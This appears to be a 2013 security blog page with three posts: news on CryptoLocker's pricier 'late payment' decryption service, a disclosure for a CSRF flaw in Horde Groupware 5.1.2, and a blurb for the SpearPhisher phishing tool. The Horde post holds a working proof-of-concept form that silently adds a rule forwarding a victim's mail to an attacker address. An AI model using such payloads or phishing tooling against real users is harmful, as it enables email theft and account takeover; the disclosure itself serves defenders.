ITSECR00T Security Group

CryptoLocker ransomware crooks offer "late payment penalty" option

2013-11-04T13:53:00.000+05:30

The crooks behind the CryptoLocker malware seem to have introduced a second chance option.

Victims, it seems, can now change their minds about not paying up.

Assume you were a victim of this devious malware, and decided, "No! I will not pay!"

Imagine that you've done a full cleanup; removed the malware from memory, hard disk and Windows registry; and gone to see what you can recover from your backup disks.

Now imagine that you are having malware cleaner's remorse.

Perhaps paying $300 would have been the pragmatic approach?

→ As we've been saying, our recommendation is not to pay up, but we also have to admit that it's easy for people who haven't had their favourite files scrambled to take that attitude.

Perhaps you had the malware for longer than you realised, and the backups you thought would help are scrambled?

Perhaps your infected computer had access to documents on a server at the office, and ruined other people's files, too?

In short, perhaps you'd like a chance to change your mind?

Enter the CryptoLocker Decryption Service:

This service allow you to purchase private key and decrypter for files encrypted by CryptoLocker.

If you already purchased private key using CryptoLocker, then you can download private key and decrypter for FREE.

Select any encrypted file and click "Upload" button.

The first 1024 bytes of the file will be uploaded to the server for search the associated private key. The search can take up to 24 hours.

IMMEDIATELY AFTER UPLOADING FILE TO THE SERVER, YOU RECEIVE YOUR ORDER NUMBER. YOU CAN USE THIS NUMBER TO CHECK STATUS OF ORDER.

OR if you already know your order number, you may enter it into the form below.

Apparently the crooks will now let you buy back your key even if you didn't follow their original instructions.

Word on the street, however, is that the crooks want five times as much as they were charging originally to decrypt your data after you change your mind

The cost of is now 10 Bitcoins instead of the 2 Bitcoins they were after at the start - a sort of late payment penalty, like the taxation office imposes.

According to this latest website, you send them the first 1024 bytes of any encrypted file in order to determine your eligibilty for the new "service," and then wait up to 24 hours.

We're guessing that the delay is because the crooks have to run a brute force attack against themselves.

Without your public key to help them match up your keypair in their database, it sounds as though they have to try to decrypting your data with every stored private key until they hit one that produces a plausible result.

They're not actually saying whether this new service works even if the72 hour deadline imposed at the start has expired.

The implication, however, is that it will - not least because the 24-hour delay needed to process your "order" would otherwise reduce that deadline to 48 hours, cutting down their window for extortion substantially.

Furthermore, those 48 hours would have to include the time for you to clean up, find that you couldn't recover by more palatable means than the initial threat, change your mind, and contact the "second chance" website.

If so, the crooks' original claim was bogus all along:

The single copy of the private key, which will allow you to decrypt the files, located on a secret server on the Internet; the server will destroy the key after a time specified in this window. After that, nobody and never will be able to restore files.

Nobody and never, eh?

We're still saying, "Don't buy," but we're feeling your pain enough to know how tempting it will be for some people to pay the crooks, even though the blackmail charges have now ballooned to more than $2000.

Horde Groupware Web Mail Edition 5.1.2 - CSRF Vulnerability

2013-11-04T13:47:00.000+05:30

#############################

Exploit Title : Multiple CSRF Horde Groupware Web mail Edition

Author:Marcela Benetrix

Date: 10/25/13

version: 5.1.2

software link:http://www.horde.org/apps/webmail

#############################

GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based

 communication suite. Users can read, send and organize email messages and

 manage and share calendars, contacts, tasks, notes, files, and bookmarks 

with the standards compliant components from the Horde Project

##########################

CSRF Location

Several functionalities from Rules section were found to miss the token so 

as to prevent CSRF

##########################

POC

A 

<pre>

<body>

    <form action="...../horde/ingo/basic.php?page=rule" method="POST">

      <input type="hidden" name="actionID" value="rule_save" />

      <input type="hidden" name="conditionnumber" value="-1" />

      <input type="hidden" name="name" value="TestingCSRF" />

      <input type="hidden" name="combine" value="1" />

      <input type="hidden" name="field[0]" value="From" />

      <input type="hidden" name="match[0]" value="contains" />

      <input type="hidden" name="value[0]"

value="test@hotmail.com" />

      <input type="hidden" name="field[1]" value="" />

      <input type="hidden" name="action" value="4" />

      <input type="hidden" name="actionvalue"

value="attacker@hotmail.com" />

      <input type="hidden" name="stop" value="1" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

</pre>

These were found at:

  * Creating a rule

  * Updating

  * Enabling

    (http://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=2&

actionID=rule_enable)

  * Deleting ( url-based https://www.test.com/horde/ingo/basic.php?page=

filters&rulenumber=6&actionID=rule_delete)

###########################

CVE identifier

CVE-2013-6275.

##########################

Vendor Notification

10/25/2013 to: the developers. They replied immediately and fixed the 

problem launching a patch:  http://bugs.horde.org/ticket/12796

10/28/2013: Disclosure

# 4F933CF24ACDD5AC   1337day.com [2013-11-04]   018190CF90F993E6 #

SpearPhisher – A Simple Phishing Email Generation Tool

2013-11-04T13:44:00.000+05:30

SpearPhisher is a simple point and click Windows GUI tool designed for (mostly) non-technical people who would like to supplement the education and awareness aspect of their information security program. Not only is it useful to non-technical folks, penetration testers may find it handy for sending quick and easy ad-hoc phishing emails. The tool supports specifying different sending names and email addresses, multiple recipients via TO, CC, BCC, and allows bulk loading with one recipient email address per line in a file. It allows customization of the subject, adding one attachment, and SSL support for SMTP enabled mail servers.
One of the popular features with our client is the WYSIWYG HTML editor that allows virtually anyone to use the tool; previewing results as you point and click edit your malicious email body. If you want to add custom XSS exploits, client side attacks, or other payloads such as a Java Applet code generated by the Social Engineer Toolkit (SET), its split screen editor allows more advanced users to edit HTML directly.

Download and more info: https://www.trustedsec.com/september-2013/introducing-spearphisher-simple-phishing-email-generation-tool/